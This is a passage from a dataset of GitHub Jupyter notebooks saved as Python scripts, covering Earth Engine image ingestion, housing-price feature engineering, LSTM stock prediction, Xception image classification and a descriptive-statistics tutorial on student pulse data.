blobs:\n gcsKeys.append(blob.name)\nprint(len(gcsKeys))\n\ni = 0\nskip=0\nfor key in gcsKeys:\n filename = key.split('/')[-1]\n gcsurl = f'gs://{bucket_name}/{key}'\n asset_name = filename.split('.tif')[0].replace('.','_')\n if asset_name in targetIDs:\n skip = skip+1\n else:\n s = filename.split('_')\n #print(s)\n tile = s[3]\n start_time = int(datetime.strptime(s[4],'%Y%m%dT%H%M%SZ').timestamp()*1000)\n prod_time = int(datetime.strptime(s[5],'%Y%m%dT%H%M%SZ').timestamp()*1000)\n sensor = s[6]\n band = s[-1].split('.')[0]\n ee_cmd = f'earthengine upload image --asset_id={targetCollectionPath}/{asset_name} --pyramiding_policy=mean --bands={band} -ts={start_time} -p=sensor={sensor} -p=prod_time={prod_time} -p=tile={tile} {gcsurl}'\n #print(ee_cmd)\n subprocess.run(ee_cmd,shell=True)\n i = i+1\n if i%10 == 0:\n print(f'started {i} ingestion tasks, skipped {skip} tasks')\n\n\n","repo_name":"OPERA-Cal-Val/GEE-Import","sub_path":"RTC/GCStoGEE-RTC.ipynb","file_name":"GCStoGEE-RTC.ipynb","file_ext":"py","file_size_in_byte":1487,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"11"} +{"seq_id":"11903287892","text":"# # ==================== FEATURE ENGINEERING ====================\n\n# +\n# NumPy for numerical computing\nimport numpy as np\n\n# Pandas for DataFrames\nimport pandas as pd\npd.set_option('display.max_columns', 100)\n# pd.options.mode.chained_assignment = None # default='warn'\n\n# Matplotlib for visualization\nfrom matplotlib import pyplot as plt\n# display plots in the notebook\n# %matplotlib inline \n\n# Seaborn for easier visualization\nimport seaborn as sns\nsns.set_style('darkgrid')\n# -\n\n# ###### import the cleaned dataset that we created in the previous module\n\ndf = pd.read_csv('D:\\KOMAL LEARNING\\ELITE DATA SCIENCE\\ML ORIGINAL\\PROJECT 2\\Project 2 Workbook Bundle\\project_files\\MyData\\cleaned_df.csv')\ndf.head()\n\n# # I. Leverage Domain Knowledge\n\n# ###### Creating Indicator variables to isolate a property type\n\n# let's say that homes with 2 bedrooms and 2 bathrooms are especially popular for investors. Maybe you suspect these types of properties command premium prices.\n# Sure, the number of bedrooms and the number of bathrooms are both existing features in your dataset. However, they do not specifically isolate this property type. \n\ndf['two_and_two'] = ((df.beds == 2) & (df.baths == 2)).astype(int)\n\n# ###### Mean of an Indicator Variable\n\n# >Benefit from indicator variables is the ability to quickly check the proportion of our observations that meet the condition\n\nprint( df.two_and_two.mean() )\n\n# >Almost 9.5% of the transactions in our dataset were for properties with 2 beds and 2 baths.\n\n# ###### Housing Market Recession\n\n# >Because we're modeling housing prices in the United States, it's important to consider the housing market recession. According to data from Zillow, the lowest housing prices were from 2010 to end of 2013 (country-wide).\n\n# Create indicator feature for transactions between 2010 and 2013, inclusive\ndf['during_recession'] = ((df.tx_year >= 2010) & (df.tx_year <= 2013)).astype(int)\n# df.tx_year.between(2010, 2013).astype(int)\n\n# Print percent of transactions where during_recession == 1\nprint( df.during_recession.mean() )\n\n# +\n# Set variable a as the earlier indicator variable (combining two masks)\na = ((df.tx_year >= 2010) & (df.tx_year <= 2013)).astype(int)\n\n# Set variable b as the new indicator variable (using \"between\")\nb = df.tx_year.between(2010, 2013).astype(int)\n\n# Are a and b equivalent?\nprint( all(a == b) )\n# -\n\n# # II. Create Interaction Features\n\n# >Interaction features are operations between two or more other features.\n\n# ### >>>Creating interaction feature : property_age\n\n# ###### age of the property at the time of the transaction\n\n# Create a property age feature\ndf['property_age'] = df.tx_year - df.year_built\n\n# ###### Sanity check post feature creation\n\n# Should not be less than 0\nprint( df.property_age.min())\n\n# >Ok, something's going on... let's investigate.\n\n# ###### print the number of observations with 'property_age' less than 0.\n\nsum(df.property_age<0)\n\n# >It's possible that some homeowners bought houses before the construction company built them. This is reasonable, especially with single-family homes. However, for our original problem, we are only interested in houses that already exist because our client only buys existing ones.\n\n# ###### Remove observations where 'property_age' is less than 0.\n\n# +\ndf = df[df.property_age >= 0]\n\nprint( len(df) )\n# -\n\n# ###### Sanity check\n\nsum(df.property_age<0)\n\n# ### >>>Creating interaction feature : School Score\n\n# >Well, we do know the number of schools nearby ('num_schools')\n#\n# >We also have their median quality score ('median_schools')\n#\n# >But what if it's the interaction of those two factors that's really important?\n#\n# >In other words, what if it's good to have many school options, but only if they are good?\n\ndf['school_score'] = df.num_schools * df.median_school\n\ndf.school_score.median()\n\n# ##### What's the range of school scores in our dataset?\n\ndf.school_score.describe()\n\n# # III. Group Sparse Classes\n\n# ###### Sparse classes are classes in categorical features that have very few total observations.\n\nfor feature in df.dtypes[df.dtypes == 'object'].index:\n sns.countplot(y=feature,data=df)\n plt.show()\n\n# ##### df.exterior_walls\n\n# To begin, we can start by grouping classes that are similar.\n\n# Group 'Wood Siding' and 'Wood Shingle' with 'Wood'\ndf.exterior_walls.replace(['Wood Siding', 'Wood Shingle'], 'Wood', inplace=True)\n\n# +\nother_exterior_walls = ['Concrete Block', 'Stucco', 'Masonry', 'Other', 'Asbestos shingle']\n\ndf.exterior_walls.replace(other_exterior_walls, 'Other', inplace=True)\n# -\n\n# Bar plot for exterior_walls\nsns.countplot(y='exterior_walls', data=df)\nplt.show()\n\n# ##### >>As a rule of thumb, we recommend combining classes until the each one has at least around 50 observations.\n\n# ##### df.roof\n\ndf.roof.replace(['Composition', 'Wood Shake/ Shingles'],'Composition Shingle', inplace=True)\n\nother_roofs = ['Other', 'Gravel/Rock', 'Roll Composition', 'Slate', 'Built-up', 'Asbestos', 'Metal']\ndf.roof.replace(other_roofs, 'Other', inplace=True)\n\nsns.countplot(y='roof', data=df)\nplt.show()\n\n# # IV. Prepare Analytical Base Table\n\n# >Before we move on, we'll need to finalize the table to use for modeling. \n#\n# >In other words, this is the table that has already been cleaned and augmented through feature engineering, and we'll be performing our analyses or building our models on it. Therefore, we'll call it the analytical base table (ABT).\n\n# ### Dummy Variables\n\n# >Python machine learning algorithms cannot handle categorical features directly. Specifically, they cannot handle text data. Therefore, we need to create what are called dummy variables for our categorical features.\n#\n# >Dummy variables are binary (0 or 1) features that each represent a single class from a categorical feature.\n#\n# >Pandas has an incredibly easy function for doing this automatically.It's called pd.get_dummies().\n\nabt = pd.get_dummies(df, columns=['exterior_walls', 'roof', 'property_type'])\n\nabt.columns\n\n# ### Removing redundant features\n\n# >Redundant features would typically be those that have been replaced by other features that you've added\n\n# ##### remove 'tx_year' and 'year_built'\n\nabt.drop(['tx_year', 'year_built'], axis=1, inplace=True)\n\nabt.columns\n\nabt.to_csv('D:\\\\KOMAL LEARNING\\\\ELITE DATA SCIENCE\\\\ML ORIGINAL\\\\PROJECT 2\\\\Project 2 Workbook Bundle\\\\project_files\\\\MyData\\\\analytical_base_table.csv', index=None)\n\n\n","repo_name":"KomalMohite/Real-estate-tycoon","sub_path":"3. Feature Engineering.ipynb","file_name":"3. Feature Engineering.ipynb","file_ext":"py","file_size_in_byte":6403,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"11"} +{"seq_id":"74618604826","text":"# + id=\"yUajF0zx2Noq\"\n# dataset @ https://finance.yahoo.com/quote/MSFT/history/\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 635} id=\"PSIHfWL23fBi\" outputId=\"fc42b3ac-1a8c-4c32-bb49-3cd8ef1003a1\"\nimport pandas as pd\n\ndf = pd.read_csv('MSFT.csv')\n\ndf\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 424} id=\"3I6ju2n83jGq\" outputId=\"10fc09bf-876a-4c58-8ba2-b241173255c1\"\ndf = df[['Date', 'Close']]\n\ndf\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"fCNhH5qH6Fc3\" outputId=\"3f4088ae-37fd-43ab-8d9e-83570619c76c\"\ndf['Date']\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"ZtzK_Fnd6UEP\" outputId=\"5d7747a7-1e2e-4055-baaa-0f9b416dcff9\"\nimport datetime\n\ndef str_to_datetime(s):\n split = s.split('-')\n year, month, day = int(split[0]), int(split[1]), int(split[2])\n return datetime.datetime(year=year, month=month, day=day)\n\ndatetime_object = str_to_datetime('1986-03-19')\ndatetime_object\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 424} id=\"fE62iBCl-d_P\" outputId=\"699c345a-ef1c-4790-9580-566edff3118d\"\ndf\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"-0LJeyey_o6t\" outputId=\"d7239164-0a4b-4fb8-8c4f-1d4e80fa7f39\"\ndf['Date'] = df['Date'].apply(str_to_datetime)\ndf['Date']\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 455} id=\"khQN7tf1BJCB\" outputId=\"e6fc2bcc-0a11-4714-cf42-ac3661f97eb0\"\ndf.index = df.pop('Date')\ndf\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 448} id=\"17OZExfcBWzD\" outputId=\"fc81487d-4b6b-425e-f203-9749c583f3dc\"\nimport matplotlib.pyplot as plt\n\nplt.plot(df.index, df['Close'])\n\n# + id=\"fsU9d3u0HdYj\"\nimport numpy as np\n\ndef df_to_windowed_df(dataframe, first_date_str, last_date_str, n=3):\n first_date = str_to_datetime(first_date_str)\n last_date = str_to_datetime(last_date_str)\n\n target_date = first_date\n\n dates = []\n X, Y = [], []\n\n last_time = False\n while True:\n df_subset = dataframe.loc[:target_date].tail(n+1)\n\n if len(df_subset) != n+1:\n print(f'Error: Window of size {n} is too large for date {target_date}')\n return\n\n values = df_subset['Close'].to_numpy()\n x, y = values[:-1], values[-1]\n\n dates.append(target_date)\n X.append(x)\n Y.append(y)\n\n next_week = dataframe.loc[target_date:target_date+datetime.timedelta(days=7)]\n next_datetime_str = str(next_week.head(2).tail(1).index.values[0])\n next_date_str = next_datetime_str.split('T')[0]\n year_month_day = next_date_str.split('-')\n year, month, day = year_month_day\n next_date = datetime.datetime(day=int(day), month=int(month), year=int(year))\n\n if last_time:\n break\n\n target_date = next_date\n\n if target_date == last_date:\n last_time = True\n\n ret_df = pd.DataFrame({})\n ret_df['Target Date'] = dates\n\n X = np.array(X)\n for i in range(0, n):\n X[:, i]\n ret_df[f'Target-{n-i}'] = X[:, i]\n\n ret_df['Target'] = Y\n\n return ret_df\n\n# Start day second time around: '2021-03-25'\nwindowed_df = df_to_windowed_df(df,\n '2022-09-09',\n '2023-09-01',\n n=3)\n\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"uD17zIbaIZ6n\" outputId=\"2d08a241-06f7-4be6-e006-b2220505d789\"\ndef windowed_df_to_date_X_y(windowed_dataframe):\n df_as_np = windowed_dataframe.to_numpy()\n\n dates = df_as_np[:, 0]\n\n middle_matrix = df_as_np[:, 1:-1]\n X = middle_matrix.reshape((len(dates), middle_matrix.shape[1], 1))\n\n Y = df_as_np[:, -1]\n\n return dates, X.astype(np.float32), Y.astype(np.float32)\n\ndates, X, y = windowed_df_to_date_X_y(windowed_df)\n\ndates.shape, X.shape, y.shape\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 448} id=\"LPHWfwZeMZSS\" outputId=\"db8cef20-add0-412e-a938-523c5b38535c\"\nq_80 = int(len(dates) * .8)\nq_90 = int(len(dates) * .9)\n\ndates_train, X_train, y_train = dates[:q_80], X[:q_80], y[:q_80]\n\ndates_val, X_val, y_val = dates[q_80:q_90], X[q_80:q_90], y[q_80:q_90]\ndates_test, X_test, y_test = dates[q_90:], X[q_90:], y[q_90:]\n\nplt.plot(dates_train, y_train)\nplt.plot(dates_val, y_val)\nplt.plot(dates_test, y_test)\n\nplt.legend(['Train', 'Validation', 'Test'])\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"PGiLbQIYOawE\" outputId=\"664e8925-d65d-416d-a597-5e39bc83d610\"\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.optimizers import Adam\nfrom tensorflow.keras import layers\n\nmodel = Sequential([layers.Input((3, 1)),\n layers.LSTM(64),\n layers.Dense(32, activation='relu'),\n layers.Dense(32, activation='relu'),\n layers.Dense(1)])\n\nmodel.compile(loss='mse',\n optimizer=Adam(learning_rate=0.001),\n metrics=['mean_absolute_error'])\n\nmodel.fit(X_train, y_train, validation_data=(X_val, y_val), epochs=100)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 466} id=\"gG8eOTzEVl_X\" outputId=\"f4bf4a3d-f6c0-4404-bea7-ceee06fecd7f\"\ntrain_predictions = model.predict(X_train).flatten()\n\nplt.plot(dates_train, train_predictions)\nplt.plot(dates_train, y_train)\nplt.legend(['Training Predictions', 'Training Observations'])\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 466} id=\"UrRaAUbnWBhE\" outputId=\"bad47612-3db7-4664-ce35-415f21534c33\"\nval_predictions = model.predict(X_val).flatten()\n\nplt.plot(dates_val, val_predictions)\nplt.plot(dates_val, y_val)\nplt.legend(['Validation Predictions', 'Validation Observations'])\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 466} id=\"wF5sDSxVWLFd\" outputId=\"8fbe2e6c-eb5b-41a1-f404-9a2d1c1c7870\"\ntest_predictions = model.predict(X_test).flatten()\n\nplt.plot(dates_test, test_predictions)\nplt.plot(dates_test, y_test)\nplt.legend(['Testing Predictions', 'Testing Observations'])\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 466} id=\"8b-JsTvEWfAm\" outputId=\"b0fe2e10-21f2-4f9b-f88e-d560ce241b34\"\nplt.plot(dates_train, train_predictions)\nplt.plot(dates_train, y_train)\nplt.plot(dates_val, val_predictions)\nplt.plot(dates_val, y_val)\nplt.plot(dates_test, test_predictions)\nplt.plot(dates_test, y_test)\nplt.legend(['Training Predictions',\n 'Training Observations',\n 'Validation Predictions',\n 'Validation Observations',\n 'Testing Predictions',\n 'Testing Observations'])\n\n# + id=\"xrS0HQ2mshlr\" outputId=\"f026bb18-c0b8-414c-dbfe-f34b7caf3301\" colab={\"base_uri\": \"https://localhost:8080/\"}\n# Calculate the mean of y_val\nmean_y_val = np.mean(y_val)\n\n# Normalize y_val and y_pred\nnormalized_y_val = y_val / mean_y_val\nnormalized_y_pred = y_pred / mean_y_val\n\n# Calculate the squared error\nsquared_error = (normalized_y_val - normalized_y_pred) ** 2\n\n# Calculate the mean squared error\nmse = np.mean(squared_error)\n\n# Calculate the Root Mean Squared Normalized Error (RMSNE)\nrmsne = np.sqrt(mse)\n\nprint(\"RMSNE:\", rmsne)\n\n# Calculate the absolute relative error for each data point\nabsolute_relative_error = np.abs((y_val - y_pred) / y_val)\n\n# Square each absolute relative error\nsquared_absolute_relative_error = absolute_relative_error ** 2\n\n# Calculate the mean of the squared absolute relative errors\nmse = np.mean(squared_absolute_relative_error)\n\n# Calculate the Root Mean Squared Relative Error (RMSRE)\nrmsre = np.sqrt(mse)\n\nprint(\"RMSRE:\", rmsre)\n\n# + id=\"qb0ryudqWwkf\" outputId=\"097e93a9-ed91-4fb1-a1d7-89efeb6db125\" colab={\"base_uri\": \"https://localhost:8080/\"}\nfrom copy import deepcopy\n\nrecursive_predictions = []\nrecursive_dates = np.concatenate([dates_val, dates_test])\n\nfor target_date in recursive_dates:\n last_window = deepcopy(X_train[-1])\n next_prediction = model.predict(np.array([last_window])).flatten()\n recursive_predictions.append(next_prediction)\n last_window[-1] = next_prediction\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 448} id=\"6BEMkYmtbwkg\" outputId=\"24d48b05-6ff0-42b3-ba73-f4b518438cad\"\nplt.plot(dates_train, train_predictions)\nplt.plot(dates_train, y_train)\nplt.plot(dates_val, val_predictions)\nplt.plot(dates_val, y_val)\nplt.plot(dates_test, test_predictions)\nplt.plot(dates_test, y_test)\nplt.plot(recursive_dates, recursive_predictions)\nplt.legend(['Training Predictions',\n 'Training Observations',\n 'Validation Predictions',\n 'Validation Observations',\n 'Testing Predictions',\n 'Testing Observations',\n 'Recursive Predictions'])\n\n# + id=\"zhWT0Pd-b4ab\"\n\n","repo_name":"s2uab/msft-stock-prediction-lstm","sub_path":"msft_stock_prediction_lstm.ipynb","file_name":"msft_stock_prediction_lstm.ipynb","file_ext":"py","file_size_in_byte":8417,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"11"} +{"seq_id":"3729709260","text":"import keras\nfrom keras.applications import Xception\nfrom keras.applications import imagenet_utils\nfrom keras.preprocessing.image import img_to_array, load_img\nfrom keras.applications.inception_v3 import preprocess_input\nimport numpy as np\nimport cv2\n\nimg = load_img('Desktop//ball.jpeg')\nimg = img.resize((299,299))\nimg = img_to_array(img)\n\nimg.shape\n\nimg = np.expand_dims(img,axis=0)\nimg.shape\n\n# +\n#img2 = cv2.imread('Desktop//ball.jpeg')\n#img2.shape\n\n# +\n#img2 = cv2.resize(img2,(224,224)) # correct one\n#img2.shape\n\n# +\n#img2 = np.array(img2) # since only one image, better to use np.expand_dims\n#img2.shape\n# -\n\nimg1 = imagenet_utils.preprocess_input(img) # either this or below for preprocessing the input image\n\nimg2 = preprocess_input(img) # for preprocessing\n\nmodel = Xception(weights='imagenet')\n\nmodel.summary()\n\npred1 = model.predict(img1)\napred1 = imagenet_utils.decode_predictions(pred1) # for decoding the prediction and relate to imagenet classes\nprint(apred1[0][0][1])\nprint(apred1[0][0][2]*100)\n\npred2 = model.predict(img2)\napred2 = imagenet_utils.decode_predictions(pred2) # for decoding the prediction and relate to imagenet classes\nprint(apred2[0][0][1])\nprint(apred2[0][0][2]*100)\n\nimport matplotlib.pyplot as plt\ndisp_img = cv2.imread('Desktop//ball.jpeg')\ncv2.putText(disp_img,apred1[0][0][1], (20,20), cv2.FONT_HERSHEY_TRIPLEX,0.8,(0,0,0))\nplt.imshow(disp_img)\n\n\n","repo_name":"SachinSaj/DeepLearning_Projects","sub_path":"Image Recognition Sample.ipynb","file_name":"Image Recognition Sample.ipynb","file_ext":"py","file_size_in_byte":1389,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"11"} +{"seq_id":"36856483599","text":"# # Understanding and Interpreting Data using Descriptive Statistics\n# ## Data Analysis Workflow\n# - Data Collection\n# - Importing Data\n# - Data Cleaning\n# - Handling Missing Data\n# - Outlier Detection and Removal\n# - Exploring Data using Descriptive Statistics\n# - Understanding Data using\n# - Univariate Analysis\n# - Bivariate Analysis\n# - Multivariate Analysis\n# - Understanding Data using Visualizations\n# - Univariate\n# - Histograms\n# - Density Plot\n# - Bivariate\n# - Scatter Plot\n# - Boxplot\n# - Multivariate\n# - Correlation Matrix\n# - Covariance Matrix\n# - Decision Making using Inferential Statistics\n# - Hypothesis Testing(T-Test, Z-Test, Chi-square, ANOVA)\n# - Creating Predicting Models\n\n# ## Dataset \n# ### Source\n# - http://www.statsci.org/data/oz/ms212.html\n#\n# The data was supplied by Dr Richard J. Wilson, Department of Mathematics,\n# University of Queensland. Original data file is tab-delimited text.\n#\n# ### Description\n# 110 students in an introductory statistics class (MS212 taught by Professor John Eccleston and Dr Richard Wilson\n# at The University of Queensland) participated in a simple experiment. The students took their own pulse rate.\n# They were then asked to flip a coin. If the coin came up heads, they were to run in place for one minute.\n# Otherwise they sat for one minute. Then everyone took their pulse again. The pulse rates and other physiological\n# and lifestyle data are given in the data. There was missing data for one student and seemingly incorrect values for\n# heights for two students. These observations were removed resulting in 107 subjects in the final dataset.\n# Five class groups between 1993 and 1998 participated in the experiment. The lecturer, Richard Wilson, was\n# concerned that some students would choose the less strenuous option of sitting rather than running even if their\n# coin came up heads, so in the years 1995-1998 a different method of random assignment was used. In these\n# years, data forms were handed out to the class before the experiment. The forms were pre-assigned to either\n# running or non-running and there were an equal number of each. In 1995 and 1998 not all of the forms were\n# returned so the numbers running and sitting was still not entirely controlled.\n#\n# ### Variable Information \n# ![](../img/data_docs.png)\n\n# ## Importing Data\n\nimport pandas as pd \nimport numpy as np \nimport matplotlib.pyplot as plt \nimport seaborn as sns \n\ndata = pd.read_table('../data/pulse.txt')\n\n# ## Exploring Data \n\ndata.head() \n\ndata.tail() \n\ndata.shape\n\ndata.columns\n\ndata.dtypes\n\ndata.info() \n\n# ## Data Preprocessing \n# - Rename variables \n# - Check missing values \n# - Remove missing values \n# - Check duplicate rows \n# - Drop duplicate rows \n# - Creating new variables \n# - Outliers detection and removal\n\n# ## Missing Values \n\ndata.isnull().sum()\n\nplt.figure(figsize=(12,8))\nsns.heatmap(data.isnull(), cmap=\"viridis\")\nplt.show()\n\n# impute with mean \ndata['Pulse1'] = data['Pulse1'].fillna(data['Pulse1'].mean())\n\ndata['Pulse2'] = data['Pulse2'].fillna(data['Pulse1'].mean())\n\ndata.isnull().sum() \n\n# ### Duplicate Rows\n\ndata.duplicated().sum() \n\n# ### Outliers Detection and Removal \n\ndata.describe() \n\ndata.quantile(0.25)\n\n# calculate quantile \nQ1, Q2, Q3 = data['Height'].quantile([.25, .50, .75])\nprint(\"Q1 25 percentile of the given data is: \", Q1)\nprint(\"Q2 50 percentile of the given data is: \", Q2)\nprint(\"Q3 75 percentile of the given data is: \", Q3)\n\nr = data.Height.max() - data.Height.min() \nprint(r)\n\n# iqr \nIQR = Q3 - Q1 \nprint(IQR)\n\n# set upper and lower limit [Q1 - 1.5 x IQR, Q3 + 1.5 x IQR]\nlower = Q1 - 1.5 * IQR \nupper = Q3 + 1.5 * IQR \nlower, upper\n\ndata.shape\n\n# detect & removal outliers \ndata_new = data[(data['Height'] < upper) & (data['Height'] > lower)]\ndata_new\n\ndata.shape, data_new.shape \n\n# ### Creating New Variable\n\ndata.head() \n\ndata['BMI'] = data['Weight']/(data['Height']/100*data['Height']/100)\ndata.head() \n\n\n# 1 = Underweight, 2 = Normal, 3 = Overweight, 4 = Obese\ndef bmicat(bmi): \n if 0 <= bmi < 19.5: \n return 1 \n elif 18.5 <= bmi < 25: \n return 2 \n elif 25 <= bmi < 30: \n return 3 \n else: \n return 4 \n\n\ndata[\"BMICat\"] = data[\"BMI\"].apply(bmicat)\ndata.head() \n\n# ### Natural Logarithm Transformation\n\ndata['WeightLog10'] = np.log10(data['Weight'])\ndata.head() \n\n# ### Standardize a Variable\n\ndata['AgeStd'] = (data['Age'] - data['Age'].mean())/data['Age'].std() \ndata.head() \n\n# ## Identifying Variables\n\ndata.columns\n\n# ### Categorical Variables \n# - Gender\n# - Smokes\n# - Alcohol\n# - Exercise\n# - Ran\n# - BMICat\n# ### Numerical Variables \n# - Height\n# - Weight\n# - Age\n# - Pulse1\n# - Pulse2\n\n# ## Qualitative Univariate Analysis \n\n# ### Frequency Distribution: One-way Table \n\nimport researchpy as rp \n\nrp.summary_cat(data['Gender'])\n\nrp.summary_cat(data[['Gender', 'Smokes', 'Alcohol', 'Exercise']])\n\nrp.codebook(data[['Age', 'Height']])\n\ndata.columns\n\n# Sex (1 = Male, 2 =Female)\ndata['Gender'].value_counts() \n\ndata['Gender'].value_counts(normalize=True) \n\n# Regular smoker? (1 = Yes, 2 = No)\ndata['Smokes'].value_counts() \n\ndata['Smokes'].value_counts(normalize=True) \n\n# Regular drinker? (1 = Yes, 2 = No)\ndata['Alcohol'].value_counts() \n\ndata['Alcohol'].value_counts(normalize=True) \n\n# Frequency of exercise (1 = High, 2 = Moderate, 3 = Low)\ndata['Exercise'].value_counts() \n\n# Frequency of exercise (1 = High, 2 = Moderate, 3 = Low)\ndata['Exercise'].value_counts(normalize=True) \n\ndata['Ran'].value_counts() \n\ndata['Ran'].value_counts(normalize=True) \n\ndata['BMICat'].value_counts() \n\ndata['BMICat'].value_counts(normalize=True) \n\nplt.figure(figsize=(12,8))\nsns.set(font_scale=1.5, palette= \"viridis\")\nsns.countplot(data = data, x = \"Gender\")\nplt.show()\n\nplt.figure(figsize=(12,8))\nsns.set(font_scale=1.5, palette= \"viridis\")\nsns.countplot(data = data, x = \"Smokes\")\nplt.show()\n\nplt.figure(figsize=(12,8))\nsns.set(font_scale=1.5, palette= \"viridis\")\nsns.countplot(data = data, x = \"Alcohol\")\nplt.show()\n\nplt.figure(figsize=(12,8))\nsns.set(font_scale=1.5, palette= \"viridis\")\nsns.countplot(data = data, x = \"Exercise\")\nplt.show()\n\nplt.figure(figsize=(12,8))\nsns.set(font_scale=1.5, palette= \"viridis\")\nsns.countplot(data = data, x = \"BMICat\")\nplt.show()\n\n# ## Qualitative Bivariate Analysis \n\n# ### Frequency Distribution: Two-way Table \n\npd.crosstab(data['Gender'], data['Smokes'])\n\npd.crosstab(data['Gender'], data['Smokes'], normalize=True) * 100 \n\npd.crosstab(data['Gender'], data['Alcohol'])\n\npd.crosstab(data['Gender'], data['Alcohol'], normalize=True)\n\npd.crosstab(data['Gender'], data['Exercise'])\n\npd.crosstab(data['Gender'], data['Exercise'], normalize=True)\n\npd.crosstab(data['Gender'], data['BMICat'])\n\n# ### Frequency Distribution: Marginal Table\n\npd.crosstab(data['Gender'], data['Smokes'], normalize=True, margins=True)\n\npd.crosstab(data['Gender'], data['Smokes'], normalize=True, margins=True)\n\nplt.figure(figsize=(12,8))\nsns.set(font_scale=1.5, palette= \"viridis\")\nsns.countplot(data = data, x = \"Gender\", hue=\"Smokes\")\nplt.show()\n\nplt.figure(figsize=(12,8))\nsns.set(font_scale=1.5, palette= \"viridis\")\nsns.countplot(data = data, x = \"Gender\", hue=\"Alcohol\")\nplt.show()\n\nplt.figure(figsize=(12,8))\nsns.set(font_scale=1.5, palette= \"viridis\")\nsns.countplot(data = data, x = \"Gender\", hue=\"Exercise\")\nplt.show()\n\nplt.figure(figsize=(12,8))\nsns.set(font_scale=1.5, palette= \"viridis\")\nsns.countplot(data = data, x = \"Gender\", hue=\"BMICat\")\nplt.show()\n\n# ## Quantitative Univariate Analysis\n\ndata['Height'].describe() \n\ndata['Weight'].describe() \n\ndata['Age'].describe() \n\ndata['Pulse1'].describe() \n\ndata['Pulse2'].describe() \n\ndata['BMI'].describe() \n\ndata['BMI'].skew() \n\ndata['BMI'].kurtosis() \n\nplt.figure(figsize=(12,8))\nsns.set(font_scale=1.5, palette= \"viridis\")\nsns.histplot(data=data, x=\"Age\")\nplt.show()\n\nplt.figure(figsize=(12,8))\nsns.set(font_scale=1.5, palette= \"viridis\")\nsns.histplot(data=data, x=\"Height\")\nplt.show()\n\nplt.figure(figsize=(12,8))\nsns.set(font_scale=1.5, palette= \"viridis\")\nsns.histplot(data=data, x=\"Pulse1\")\nplt.show()\n\nplt.figure(figsize=(12,8))\nsns.set(font_scale=1.5, palette= \"viridis\")\nsns.histplot(data=data, x=\"Pulse2\")\nplt.show()\n\nplt.figure(figsize=(12,8))\nsns.set(font_scale=1.5, palette= \"viridis\")\nsns.histplot(data=data, x=\"BMI\")\nplt.show()\n\nplt.figure(figsize=(12,8))\nsns.set(font_scale=1.5, palette= \"viridis\")\nsns.boxplot(data=data, x=\"BMI\")\nplt.show()\n\nplt.figure(figsize=(12,8))\nsns.set(font_scale=1.5, palette= \"viridis\")\nsns.boxplot(data['BMI'])\nplt.show()\n\n# ## Quantitative Bivariate Analysis\n\ndata.Age.corr(data.Height)\n\ndata.Age.corr(data.BMI)\n\ndata.Age.corr(data.Weight)\n\ndata.Age.cov(data.BMI)\n\nplt.figure(figsize=(12,8))\nsns.set(font_scale=1.5, palette= \"viridis\")\nsns.scatterplot(data=data, x=\"Age\", y=\"BMI\")\nplt.show()\n\nplt.figure(figsize=(12,8))\nsns.set(font_scale=1.5, palette= \"viridis\")\nsns.scatterplot(data=data, x=\"Age\", y=\"BMI\", hue=\"Gender\")\nplt.show()\n\nplt.figure(figsize=(12,8))\nsns.set(font_scale=1.5, palette= \"viridis\")\nsns.scatterplot(data=data, x=\"Age\", y=\"Weight\")\nplt.show()\n\nplt.figure(figsize=(12,8))\nsns.set(font_scale=1.5, palette= \"viridis\")\nsns.scatterplot(data=data, x=\"Age\", y=\"Pulse1\")\nplt.show()\n\n# ## Multivariate Analysis \n\ndata.corr() \n\ndata.cov() \n\nplt.figure(figsize=(12,8))\nsns.set(font_scale=1.5, palette= \"viridis\")\nsns.heatmap(data.corr())\nplt.show()\n\nplt.figure(figsize=(20,8))\nsns.set(font_scale=1.5, palette= \"viridis\")\nsns.heatmap(data.corr(), annot=True)\nplt.show()\n\n# ## Categorical - Quantitative(C-Q) Analysis \n\ndata.groupby('Gender')['BMI'].describe()\n\nplt.figure(figsize=(12,8))\nsns.set(font_scale=1.5, palette= \"viridis\")\nsns.boxplot(data=data, x=\"Gender\", y=\"BMI\")\nplt.show()\n\ndata.groupby('Gender')['BMI'].describe() \n\n# ## Categorical- Categorical(CC) Analysis\n\ndata.groupby('Gender')['Smokes'].value_counts().unstack() \n\nplt.figure(figsize=(12,8))\nsns.set(font_scale=1.5, palette= \"viridis\")\nsns.countplot(data=data, x=\"Gender\", hue='Smokes')\nplt.show()\n\n# ## Quantitative - Quantitative Analysis \n\ndata.Age.corr(data.BMI) \n\nplt.figure(figsize=(12,8))\nsns.set(font_scale=1.5, palette= \"viridis\")\nsns.scatterplot(data=data, x=\"Age\", y=\"BMI\")\nplt.show()\n\nplt.figure(figsize=(12,8))\nsns.set(font_scale=1.5, palette= \"viridis\")\nsns.scatterplot(data=data, x=\"Age\", y=\"BMI\", hue='Gender')\nplt.show()\n","repo_name":"hossainlab/PY4LS","sub_path":"06 - Descriptive Stats with Python/notebooks/01_InterpretingDataUsingDescriptive Statistics.ipynb","file_name":"01_InterpretingDataUsingDescriptive Statistics.ipynb","file_ext":"py","file_size_in_byte":10362,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-jupyter-script","pt":"11"} 